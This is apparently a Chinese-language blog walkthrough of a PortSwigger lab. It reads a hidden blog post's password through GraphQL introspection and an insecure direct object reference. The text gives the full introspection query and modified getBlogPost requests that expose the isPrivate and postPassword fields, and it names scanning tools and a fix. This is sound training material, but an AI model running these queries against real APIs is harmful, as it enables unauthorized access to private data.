GraphQL API-通过未被净化的参数获取隐私信息
Lab: Accessing private GraphQL posts
实验前置必要知识点
在GraphQL
端点发送任何query{__typename}
,它将在其响应中的某处包含{"data": {"__typename": "query"}}
字符串,这被称为通用查询。
查询之所以有效,是因为每个 GraphQL
端点都有一个名为__typename
的保留字段,该字段以字符串形式返回查询对象的类型。
GraphQL 服务通常会用query not present或类似错误来响应任何非 GraphQL 请求。
GraphQL
端点通常只接受content-type
为application/json
的POST
请求,因为这样有助于防范CSRF
漏洞,但是也可能会存在例外的情况,例如支持GET
请求或者接受content-type
为x-www-form-urlencoded
的POST
请求。
寻找关于GraphQL
漏洞的时候,测试查询参数是否被净化是一个很好的起点,API
使用参数直接访问对象,则可能容易受到访问控制漏洞的攻击。用户可以通过提供与该信息相对应的参数来访问他们不应该拥有的信息。这有时称为不安全的直接对象引用 (IDOR)
。
要发现架构信息,查询__schema
字段,此字段在所有查询的根类型上可用。
//例如
#Introspection probe request{"query": "{__schema{queryType{name}}}"
}
x-www-form-urlencoded
`x-www-form-urlencoded` 是一种经典且广泛支持的编码格式,特别适用于向服务器发送简单的表单数据`x-www-form-urlencoded` 是一种常见的表单数据编码格式,通常用于将表单数据发送到服务器。在这种编码格式下,表单数据被转换为键值对的形式,并使用特定的编码规则进行编码,以便在 HTTP 请求中传输。
例如以下
name=John%20Doe&age=25&email=johndoe%40example.com
实验要求
这个实验室的博客页面包含一个隐藏的博客文章,它有一个秘密密码。要解决实验室,找到隐藏的博客文章,并输入密码。
渗透开始
-
访问对应靶场界面
https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts
-
启动靶场
1. 站点分析
这是博客类型的网站,仅存在一个
HOME
目录
博客仅存在查看功能,无额外功能点。
2. 寻找可疑功能点(查看Burp历史记录进行分析)
从总体来看,该博客通过查询id
返回博客内容
但是具体的查询内容是通过graphql
端点查询query
返回
题目的说法是寻找隐藏的博客,通过枚举id
确认是3为隐藏博客
3. 功能点测试
将graphql
端点对应的日志信息发送到重放模块
尝试修改POST
请求
{"query":"\n query getBlogPost($id: Int!) {\n getBlogPost(id: $id) {\n image\n title\n author\n date\n paragraphs\n }\n }","operationName":"getBlogPost","variables":{"id":4}}
改为查询根上内容
{"query": "{__schema{queryType{name}}}"
}
获得了根内容query
构造内容查询内部所有参数
{"query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } } } }fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"
}
通过这种方法查询到了所有的参数
查询前的参数
"getBlogPost": {"image": "/image/blog/posts/37.jpg","title": "Importance of Relaxing","author": "Roger That","date": "2023-07-12T05:43:18.773Z","paragraphs": []}
查询后的参数
{"name": "image", },{"name": "title", },{"name": "author",},{"name": "date", },{"name": "summary", },{"name": "paragraphs",},{"name": "isPrivate",},{"name": "postPassword",]
很直观的发现多了summary
idPrivate
postPassword
重新构造查询参数查询这些隐藏参数的值
{"query":"\n query getBlogPost($id: Int!) {\n getBlogPost(id: $id) {summary \n isPrivate \n postPassword}\n }","operationName":"getBlogPost","variables":{"id":4}}
因为我们要查询的是id
为3的隐藏博客修改后查看
成功获取了postPassword
的秘密内容
4.完成实验
提交后完成试验
5.使用burp工具辅助完成试验
Burp
中给我们提供了专门的GraphQL API
的扫描器
InQL - Introspection GraphQL Scanner
首先我们要下载jython-standalone
用jar
调用python
的插件
之后我们运行该插件
当我们发现存在GraphQL
的时候可以点击InQL
直观的显示了内容
之后我们复制存在GraphQL
端点的URL
发送到扫描器
会直观的显示隐藏的参数
6.使用可视化工具辅助查看
http://nathanrandal.com/graphql-visualizer/
将发现的所有内容放入该工具可以辅助进行查看
修复方案
禁用查看内省的功能
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。
免费领取安全学习资料包!
渗透工具
技术文档、书籍
面试题
帮助你在面试中脱颖而出
视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等
应急响应笔记
学习路线